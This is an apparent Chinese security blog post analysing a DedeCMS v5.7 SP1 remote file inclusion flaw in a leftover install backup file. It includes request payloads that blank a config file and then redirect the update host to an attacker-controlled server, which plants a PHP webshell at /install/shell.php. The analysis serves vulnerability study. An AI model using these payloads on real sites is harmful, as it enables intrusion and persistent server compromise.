C1imber's Blog

dedecmsv57 sp1远程文件包含漏洞

字数统计: 512阅读时长: 2 min
2017/11/21 Share

利用dedecmsv57 sp1远程文件包含漏洞getshell

比较早的一个漏洞,利用apache解析漏洞,可远程文件包含getshell

利用条件

服务器为apache,dedecms版本为dedecmsv57 sp1,攻击者要有一台自己的远程服务器

漏洞分析

漏洞文件位置为/install/index.php.bak

else if($step==11)
{
    require_once('../data/admin/config_update.php');
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,'w');
    if(fwrite($fp,$sql_content))
        echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
    else
        echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
    unset($sql_content);
    fclose($fp);
    exit();
}

该文件是dedecms安装完成后生成的备份文件,这会将远程服务器$updateHost下的dedecms/demodata.{$s_lang}.txt文件内容写入当前服务器的$install_demo_name文件中,当中有三个关键的可控变量,$updateHost,$s_lang,$install_demo_name

$updateHost来源于../data/admin/config_update.php文件

<?php
/**
* 更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
 *
 * @version        $Id: config_update.php 1 11:36 2011-2-21 tianya $
 * @package        DedeCMS.Administrator
 * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */

//更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
$updateHost = 'http://updatenew.dedecms.com/base-v57/';
$linkHost = 'http://flink.dedecms.com/server_url.php';

如果我们构造payload为

/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

这时$rmurl的值就会为http://updatenew.dedecms.com/base-v57/dedecms/demodata.a.txt,这时这个文件明显是不存在的,于是便会将../data/admin/config_update.php的内容写为空

我们在自己的服务器下创建dedecms/demodata.a.txt文件,里面写入php一句话木马
继续构造payload为

/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=shell.php&updateHost=http://你的服务器地址/

这时$rmurl的值为http://你的服务器地址/dedecms/demodata.a.txt,于是便可以把我们自己服务器上的一句话写到/install目录下的shell.php中,从而getshell,webshell地址为`/install/shell.php`

CATALOG
  1. 1. 利用dedecmsv57 sp1远程文件包含漏洞getshell
    1. 1.0.1. 利用条件
    2. 1.0.2. 漏洞分析